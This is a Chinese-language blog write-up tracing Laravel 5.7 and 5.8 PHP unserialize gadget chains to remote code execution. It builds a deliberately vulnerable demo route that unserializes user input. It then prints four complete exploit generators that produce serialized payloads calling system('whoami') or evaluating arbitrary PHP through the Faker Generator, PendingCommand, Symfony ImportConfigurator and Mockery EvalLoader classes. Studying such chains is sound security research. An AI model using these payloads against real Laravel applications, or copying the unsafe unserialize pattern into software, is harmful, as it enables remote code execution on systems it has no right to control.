抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

考虑了下还是打算把laravel的链子跟一遍。看了下基本上就5.7,5.8两个版本的rce反序列化popchain。所以工作量应该不大。正好最近完成tp系列的popchain学习审计代码的感觉还在,那就趁热打铁吧 。

关于代码获取:
composer create-project --prefer-dist laravel/laravel laravel58
后面加上"5.7.*"下载5.7版本的。

如果下载出错最好换下composer源。
之后可以直接php artisan serve --host=0.0.0.0.这样php-cli就会默认从8000端口监听起一个web服务。直接按照public对外显示。

然后默认关于laravel的一个命令行工具artisan。我个人认为审计代码的话如果是白盒审计看下路由,会用php artisan route:list就差不多了。
当然后面如果是开发的话肯定要全面学习下具体用法。

laravel5.7-unserialize

首先我们需要添加路由与控制器代码给一个反序列化入手点。
routes/web.php

<?php
Route::get('/', function () {
    return view('welcome');
});

Route::get("/demo","\App\Http\Controllers\DemoController@demo");

添加一个demo路由对应DemoController。所以直接在app/Http/Controllers下增添一个类DemoController。这样命名空间之类的也会自动生成好。

<?php
namespace App\Http\Controllers;


class DemoController extends Controller
{
    public function demo()
    {
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
        }
        else{
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.7";
    }
}

这样就可以通过demo路由进行参数传递。
exp尝试执行whoami

接下来就是跟链子了。首先是入手点找__destruct()自不必说。
此处入手的destruct其实非常多。我们找到src\Illuminate\Foundation\Testing\PendingCommand.php。即 Illuminate/Foundation/Testing/PendingCommand类

public function __destruct()
{
    if ($this->hasExecuted) {
        return;
    }

    $this->run();
}

public function run()
{
    $this->hasExecuted = true;

    $this->mockConsoleOutput();

    try {
        $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
    } catch (NoMatchingExpectationException $e) {
        if ($e->getMethodName() === 'askQuestion') {
            $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
        }

        throw $e;
    }

    if ($this->expectedExitCode !== null) {
        $this->test->assertEquals(
            $this->expectedExitCode, $exitCode,
            "Expected status code {$this->expectedExitCode} but received {$exitCode}."
        );
    }

    return $exitCode;
}

终点其实就在run方法中$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);这句代码。关于它的真正含义我们先不去深究。从语义上看似乎是调用了内核进行call的命令执行。而它是在trycatch语句中执行的。所以需要在到这一不前都不会出现报错。

重点跟进mockConsoleOutput.

protected function mockConsoleOutput()
{
    $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
        (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
    ]);

    foreach ($this->test->expectedQuestions as $i => $question) {
        $mock->shouldReceive('askQuestion')
            ->once()
            ->ordered()
            ->with(Mockery::on(function ($argument) use ($question) {
                return $argument->getQuestion() == $question[0];
            }))
            ->andReturnUsing(function () use ($question, $i) {
                unset($this->test->expectedQuestions[$i]);

                return $question[1];
            });
    }

    $this->app->bind(OutputStyle::class, function () use ($mock) {
        return $mock;
    });
}

这里就有一个小细节。看到七月火师傅跟这里时选择打断点然后直接step over单步跳过。发现能正常执行到foreach。所以就没去看$mock那行的代码。这应该是为了减少不必要的审计代码量。(听说一路看下去的话又臭又长……)

现在可以看向$this->test->expectedQuestions这句。其中expectedQuestions是个数组。从执行exp来看,我们属性中并没有$this->test对象.所以会触发__get()
既然如此其实就是找__get方法返回值可控的类了。这里找到
src\Faker\DefaultGenerator.php

public function __get($attribute)
{
    return $this->default;
}

所以大致的一个脉络已经出来了。但是我们对某些变量还是不清楚。同时也不知道是否会有报错退出。因此可以用一个半成品poc来探测。

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;
            $this->app = $app;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Faker{
    class DefaultGenerator{
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation{
    class Application{
        public function __construct() { }
    }
}

namespace{
    $defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
    $application = new Illuminate\Foundation\Application();
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
    echo urlencode(serialize($pendingcommand));
}

这里PendingCommand类的四个参数是原构造函数中就有的。而为什么会在这里出现Illuminate\Foundation\Application要在后面解释。

我们还是直接打断点看它的执行。单步跳过的话会发现到$this->app->bind为止都是可以正常进行的。直到$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);这个我们命令执行的最后一步才抛出错误。一路跟过去可以看到报错具体内容

那么我们肯定得深入下这行代码。这里我们需要添加代码看$this->app[Kernel::class].因为直接调用的话我们是没法看出Kernel::class的。所以比较好的方法还是单独拿出来看。

可以看到。$this->app即我们之前exp中实例化的Illuminate\Foundation\Application类的对象.而Kernel::class会固定返回字符串Illuminate\Contracts\Console\Kernel

接下来我们发现只要单步跳过$app = $this->app[Kernel::class];就会出错抛出跟之前调用反序列化时一样的错误。所以问题肯定出在这句代码上。那么一路跟进
会发现是调用了这么几个函数

//Pipeline
protected function handleException($passable, Exception $e)
{
$handler = $this->container->make(ExceptionHandler::class)
......

//Application
public function make($abstract, array $parameters = [])
{
    $abstract = $this->getAlias($abstract);

    if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) {
        $this->loadDeferredProvider($abstract);
    }

    return parent::make($abstract, $parameters);
}

//Container
public function make($abstract, array $parameters = [])
{
    return $this->resolve($abstract, $parameters);
}

protected function resolve($abstract, $parameters = [])
{
    $abstract = $this->getAlias($abstract);

    $needsContextualBuild = ! empty($parameters) || ! is_null(
        $this->getContextualConcrete($abstract)
    );


    if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
        return $this->instances[$abstract];
    }

......

这里一路跟过来会发现在Application类调用父类也就是Container类的make方法,进一步到达resolve方法时。有一处可控点return $this->instances[$abstract];

还记得我们是跟进$this->app[Kernel::class]来到这个返回值的吗?实际上我们最开始寻找命令执行时。是以$this->app[Kernel::class]=>call(xxx)尝试调用命令的。那么既然这里app对象可控了,我们就可以调用任意对象的call方法了。

这也就是为什么我们前面选择Application类的原因。它继承了Container类。所以调用的是Container的call方法。我们跟进看下

//Container
public function call($callback, array $parameters = [], $defaultMethod = null)
{
    return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}

//BoundMethod
public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
{
    if (static::isCallableWithAtSign($callback) || $defaultMethod) {
        return static::callClass($container, $callback, $parameters, $defaultMethod);
    }

    return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
        return call_user_func_array(
            $callback, static::getMethodDependencies($container, $callback, $parameters)
        );
    });
}

protected static function getMethodDependencies($container, $callback, array $parameters = [])
{
    $dependencies = [];

    foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
        static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
    }

    return array_merge($dependencies, $parameters);
}

这里发现实际调用的是BoundMethod的闭包函数。关于闭包函数在js中曾经听说过。闭包主要是使用:一个内部函数可以引用外部函数的参数和变量,参数和变量就不会被收回的机制。

这里getMethodDependencies返回两个数组的合并数据。然而其中$dependencies数组是个空的。那么返回的还是我们可控的数组。既然如此。调用call_user_func_array()的这句代码两个参数就都是可控的。可以命令执行了。

rce exp

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;
            $this->app = $app;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Faker{
    class DefaultGenerator{
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation{
    class Application{
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace{
    $defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
    $app = new Illuminate\Foundation\Application();
    $application = new Illuminate\Foundation\Application($app);
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami'));
    echo urlencode(serialize($pendingcommand));
}

这里只需要增加Application类的内容。让它在程序找向$this->instances['Illuminate\Contracts\Console\Kernel']找向它自己。这样我们就能调用它的call方法执行call_user_func_array('system','whoami')了.

小结一下。5.7的pop链从exp看起来也就三个类的事。但是其中调试的功夫要求比起thinkphp要高出不少。其中非常重要的一点就是通过动态调试找到Kernel::class的真正字符串值。并一路找到可控点来进行命令执行。

laravel5.8-unserialize

5.8其实之前做国赛题目时跟过一次了。不过印象不太深刻了。所以再来看一次。其中有一条链是靠symfony组件做的。就不跟了。(实验了下最新版本symfony组件没法用了)

我主要看七月火师傅介绍的一条链。来自p神小密圈。然后还有一条链是来自护网杯的非预期。跟第五空间一个性质。如果是按composer直接下载的话。两条链都可以用。
还是老方法我们直接增加反序列化路由跟控制器代码。

入手点是一个貌似在laravel很多链子中都通用的destruct

public function __destruct()
{
    $this->events->dispatch($this->event);
}

很明显这里就有两种思路
1.全局找存在dispatch的有用方法。
2.全局找__call方法

popchain1

对于我个人而言这里可以说是第一反应就想去找__call.因为很明显的双参数均可控.php中__call这种魔术方法本来就是设计出来用来动态调用的。所以肯定有类中使用call_user_func这样的方式进行命令执行。我们不难找到符合条件的Generator类

public function format($formatter, $arguments = array())
{
    return call_user_func_array($this->getFormatter($formatter), $arguments);
}

public function __call($method, $attributes)
{
    return $this->format($method, $attributes);
}

public function getFormatter($formatter)
{
    if (isset($this->formatters[$formatter])) {
        return $this->formatters[$formatter];
    }
    ......

全部可控。所以最终call_user_func直接命令执行。这个真的是太简单了。难怪第5空间会换了__destruct.

(之前因为第5空间打的太烂了没进线下就没仔细研究。结果仔细一看发现原来当时那个是5.7的版本啊……)
说起来护网杯那题destruct代码调用的是$this->events->fire($this->event);。貌似跟官方源码不一样?但这条链偏偏是个非预期。有点迷。

popchain1 exp

<?php
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {

        protected $events;

        protected $event;

        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
    }
}

namespace Faker{
    class Generator
    {
        protected $formatters;

        function __construct($format){
            $this->formatters = $format;
        }
    }
}


namespace{
    $fs = array("dispatch"=>"system");
    $gen = new Faker\Generator($fs);
    $pb = new Illuminate\Broadcasting\PendingBroadcast($gen,"whoami");
    echo(urlencode(serialize($pb)));
}

popchain2

来自上面这条链子的变招。刚刚说了Symphony最新版本已经没法
用了。其主要原因是,禁止对TagAwareAdapter类反序列化。所以加了一个__wakeup。根本到不了destruct那

public function __wakeup()
{
    throw new \BadMethodCallException('Cannot unserialize '.__CLASS__);
}

public function __destruct()
{
    $this->commit();
}

但是有Symfony的情况下还是可以用其他类。比如我们搜索__destruct找到很明显的双参数可控调用

class ImportConfigurator
{
    use Traits\HostTrait;
    use Traits\PrefixTrait;
    use Traits\RouteTrait;

    private $parent;

    public function __construct(RouteCollection $parent, RouteCollection $route)
    {
        $this->parent = $parent;
        $this->route = $route;
    }

    public function __destruct()
    {
        $this->parent->addCollection($this->route);
    }

destruct是一样的可控参数调用函数。所以殊途同归。
与上面一样的的性质。exp把dispatch改为addCollection就行了。

exp2

<?php
namespace Symfony\Component\Routing\Loader\Configurator {

    class ImportConfigurator{
        private $parent;
        private $route;
        public function __construct( $parent, $route)
        {
            $this->parent = $parent;
            $this->route = $route;
        }
    }
}

namespace Faker{
    class Generator
    {
        protected $formatters;

        function __construct($format){
            $this->formatters = $format;
        }

    }
}
namespace{
    $fs = array("addCollection"=>"system");
    $gen = new Faker\Generator($fs);
    $pb = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($gen,"whoami");
    echo(urlencode(serialize($pb)));
}

这里不需要在意ImportConfigurator原本构造函数中继承和定死的类型。因为是直接进行链式调用。

popchain3

回到开始。我们说除了用__call打组合拳。还可以找有用的全局找存在dispatch方法。
比如src\Illuminate\Bus\Dispatcher.php

public function dispatch($command)
{
    if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
        return $this->dispatchToQueue($command);
    }

    return $this->dispatchNow($command);
}

protected function commandShouldBeQueued($command)
{
    return $command instanceof ShouldQueue;
}

public function dispatchToQueue($command)
{
    $connection = $command->connection ?? null;

    $queue = call_user_func($this->queueResolver, $connection);
    ......

首先if判断里调用commandShouldBeQueued。然后调用dispatchToQueue.
可以看到。$command只要是实现ShouldQueue接口的类即可进入下面,存在call_user_func的命令调用。

现在可以调用任意类的任意方法。那就只需要找一个可用类即可。比如EvalLoader
。其load方法含有eval语句.

class EvalLoader implements Loader
{
    public function load(MockDefinition $definition)
    {
        if (class_exists($definition->getClassName(), false)) {
            return;
        }

        eval("?>" . $definition->getCode());
    }
}


public function getClassName()
{
    return $this->config->getName();
}

public function getCode()
{
    return $this->code;
}

看到只要保证$this->config的类存在getName方法。就可以跳过return执行eval.这里选择PhpParser\Node\Scalar\MagicConst\Line类

exp3

<?php
namespace PhpParser\Node\Scalar\MagicConst{
    class Line {}
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;

        public function __construct($config, $code)
        {
            $this->config = $config;
            $this->code = $code;
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader{}
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
namespace{
    $line = new PhpParser\Node\Scalar\MagicConst\Line();
    $mockdefinition = new Mockery\Generator\MockDefinition($line,'<?php phpinfo();?>');
    $evalloader = new Mockery\Loader\EvalLoader();
    $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
    $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
    echo urlencode(serialize($pendingbroadcast));
}

summary

沒想到一个下午能把laravel主要的两个版本反序列化跟完。还是收获挺大的。不过实战中想遇到laravel反序列化比较困难。使用phar来进行触发应该是比较理想的可能方式。到此php反序列化就告一段落了吧。剩下的假期就复习之余抽空看java了。

评论